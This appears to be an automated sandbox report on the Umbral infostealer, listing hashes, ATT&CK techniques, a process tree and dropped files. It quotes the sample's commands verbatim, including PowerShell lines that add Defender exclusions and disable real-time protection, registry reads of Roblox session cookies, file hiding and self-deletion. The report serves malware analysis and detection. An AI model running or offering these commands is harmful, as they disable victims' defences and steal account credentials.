umbral | e14be40bad2e07456140fee37d8ca380811886c1c89b0b6e21e8b0f2a33ed663

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-12-2024 12:54

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General

Target

Umbral.exe
Size

229KB
MD5

6f99ad653049306925da44b34fd12011
SHA1

df5d265397a6895efa77bed1478e79784cba7954
SHA256

e14be40bad2e07456140fee37d8ca380811886c1c89b0b6e21e8b0f2a33ed663
SHA512

89c9c171f1684cab8bd55b971cd69b9370f49d7da743f848b99d68523b89e2810ab033c4f26d539240d185186f72549bfb422b9c65cd7cf5c00f781693b569b8
SSDEEP

6144:FloZM+rIkd8g+EtXHkv/iD4YD5JR/k4XRG/BcoN2Nb8e1mFi:HoZtL+EP8YD5JR/k4XRG/BcoNW/

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3644-1-0x0000020289CB0000-0x0000020289CF0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3856	powershell.exe
224	powershell.exe
1696	powershell.exe
3024	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Umbral.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1172	cmd.exe
924	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5104	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
924	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3644	Umbral.exe
3856	powershell.exe
3856	powershell.exe
224	powershell.exe
224	powershell.exe
1696	powershell.exe
1696	powershell.exe
1096	powershell.exe
1096	powershell.exe
3024	powershell.exe
3024	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3644	Umbral.exe
Token: SeIncreaseQuotaPrivilege	4952	wmic.exe
Token: SeSecurityPrivilege	4952	wmic.exe
Token: SeTakeOwnershipPrivilege	4952	wmic.exe
Token: SeLoadDriverPrivilege	4952	wmic.exe
Token: SeSystemProfilePrivilege	4952	wmic.exe
Token: SeSystemtimePrivilege	4952	wmic.exe
Token: SeProfSingleProcessPrivilege	4952	wmic.exe
Token: SeIncBasePriorityPrivilege	4952	wmic.exe
Token: SeCreatePagefilePrivilege	4952	wmic.exe
Token: SeBackupPrivilege	4952	wmic.exe
Token: SeRestorePrivilege	4952	wmic.exe
Token: SeShutdownPrivilege	4952	wmic.exe
Token: SeDebugPrivilege	4952	wmic.exe
Token: SeSystemEnvironmentPrivilege	4952	wmic.exe
Token: SeRemoteShutdownPrivilege	4952	wmic.exe
Token: SeUndockPrivilege	4952	wmic.exe
Token: SeManageVolumePrivilege	4952	wmic.exe
Token: 33	4952	wmic.exe
Token: 34	4952	wmic.exe
Token: 35	4952	wmic.exe
Token: 36	4952	wmic.exe
Token: SeIncreaseQuotaPrivilege	4952	wmic.exe
Token: SeSecurityPrivilege	4952	wmic.exe
Token: SeTakeOwnershipPrivilege	4952	wmic.exe
Token: SeLoadDriverPrivilege	4952	wmic.exe
Token: SeSystemProfilePrivilege	4952	wmic.exe
Token: SeSystemtimePrivilege	4952	wmic.exe
Token: SeProfSingleProcessPrivilege	4952	wmic.exe
Token: SeIncBasePriorityPrivilege	4952	wmic.exe
Token: SeCreatePagefilePrivilege	4952	wmic.exe
Token: SeBackupPrivilege	4952	wmic.exe
Token: SeRestorePrivilege	4952	wmic.exe
Token: SeShutdownPrivilege	4952	wmic.exe
Token: SeDebugPrivilege	4952	wmic.exe
Token: SeSystemEnvironmentPrivilege	4952	wmic.exe
Token: SeRemoteShutdownPrivilege	4952	wmic.exe
Token: SeUndockPrivilege	4952	wmic.exe
Token: SeManageVolumePrivilege	4952	wmic.exe
Token: 33	4952	wmic.exe
Token: 34	4952	wmic.exe
Token: 35	4952	wmic.exe
Token: 36	4952	wmic.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	224	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeIncreaseQuotaPrivilege	5112	wmic.exe
Token: SeSecurityPrivilege	5112	wmic.exe
Token: SeTakeOwnershipPrivilege	5112	wmic.exe
Token: SeLoadDriverPrivilege	5112	wmic.exe
Token: SeSystemProfilePrivilege	5112	wmic.exe
Token: SeSystemtimePrivilege	5112	wmic.exe
Token: SeProfSingleProcessPrivilege	5112	wmic.exe
Token: SeIncBasePriorityPrivilege	5112	wmic.exe
Token: SeCreatePagefilePrivilege	5112	wmic.exe
Token: SeBackupPrivilege	5112	wmic.exe
Token: SeRestorePrivilege	5112	wmic.exe
Token: SeShutdownPrivilege	5112	wmic.exe
Token: SeDebugPrivilege	5112	wmic.exe
Token: SeSystemEnvironmentPrivilege	5112	wmic.exe
Token: SeRemoteShutdownPrivilege	5112	wmic.exe
Token: SeUndockPrivilege	5112	wmic.exe
Token: SeManageVolumePrivilege	5112	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3644 wrote to memory of 4952	3644	Umbral.exe	82
PID 3644 wrote to memory of 4952	3644	Umbral.exe	82
PID 3644 wrote to memory of 3616	3644	Umbral.exe	85
PID 3644 wrote to memory of 3616	3644	Umbral.exe	85
PID 3644 wrote to memory of 3856	3644	Umbral.exe	87
PID 3644 wrote to memory of 3856	3644	Umbral.exe	87
PID 3644 wrote to memory of 224	3644	Umbral.exe	90
PID 3644 wrote to memory of 224	3644	Umbral.exe	90
PID 3644 wrote to memory of 1696	3644	Umbral.exe	92
PID 3644 wrote to memory of 1696	3644	Umbral.exe	92
PID 3644 wrote to memory of 1096	3644	Umbral.exe	94
PID 3644 wrote to memory of 1096	3644	Umbral.exe	94
PID 3644 wrote to memory of 5112	3644	Umbral.exe	96
PID 3644 wrote to memory of 5112	3644	Umbral.exe	96
PID 3644 wrote to memory of 632	3644	Umbral.exe	98
PID 3644 wrote to memory of 632	3644	Umbral.exe	98
PID 3644 wrote to memory of 4760	3644	Umbral.exe	100
PID 3644 wrote to memory of 4760	3644	Umbral.exe	100
PID 3644 wrote to memory of 3024	3644	Umbral.exe	102
PID 3644 wrote to memory of 3024	3644	Umbral.exe	102
PID 3644 wrote to memory of 5104	3644	Umbral.exe	104
PID 3644 wrote to memory of 5104	3644	Umbral.exe	104
PID 3644 wrote to memory of 1172	3644	Umbral.exe	106
PID 3644 wrote to memory of 1172	3644	Umbral.exe	106
PID 1172 wrote to memory of 924	1172	cmd.exe	108
PID 1172 wrote to memory of 924	1172	cmd.exe	108

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3616	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Umbral.exe
"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3644
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4952
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
  2⤵
  - Views/modifies file attributes
  PID:3616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3856
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1096
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:632
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:4760
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3024
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:5104
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1172
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
c9b6705519e1eef08f86c4ba5f4286f3

SHA1
6c6b179e452ecee2673a1d4fe128f1c06f70577f

SHA256
0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

SHA512
6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
288f76eb6350b99897bf8a40a26d7b88

SHA1
7f386d05202de2cf090bbda84d633a640730e090

SHA256
1b9a2714ecfaf4b2e7d7961d5f2537ea360ad0df46a0fa789255235b077075d1

SHA512
ffafc9d47140408afba98a9832433c0829ba696524c56d03f4ce67ae84d369c658d3a0b3cbfc62f8e5d83fc91f8f73fc1dd9a27f0deaefd1d07485a63face869

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2zpivbjx.2bg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3024-88-0x00000293FC610000-0x00000293FC82C000-memory.dmp

Filesize
2.1MB

Download
memory/3644-72-0x00000202A4380000-0x00000202A438A000-memory.dmp

Filesize
40KB

Download
memory/3644-1-0x0000020289CB0000-0x0000020289CF0000-memory.dmp

Filesize
256KB

Download
memory/3644-94-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3644-2-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3644-33-0x00000202A43F0000-0x00000202A4466000-memory.dmp

Filesize
472KB

Download
memory/3644-34-0x00000202A4470000-0x00000202A44C0000-memory.dmp

Filesize
320KB

Download
memory/3644-35-0x00000202A43B0000-0x00000202A43CE000-memory.dmp

Filesize
120KB

Download
memory/3644-73-0x00000202A43D0000-0x00000202A43E2000-memory.dmp

Filesize
72KB

Download
memory/3644-0-0x00007FFA88833000-0x00007FFA88835000-memory.dmp

Filesize
8KB

Download
memory/3856-8-0x000002018BB20000-0x000002018BB42000-memory.dmp

Filesize
136KB

Download
memory/3856-18-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3856-14-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3856-9-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download
memory/3856-15-0x00007FFA88830000-0x00007FFA892F1000-memory.dmp

Filesize
10.8MB

Download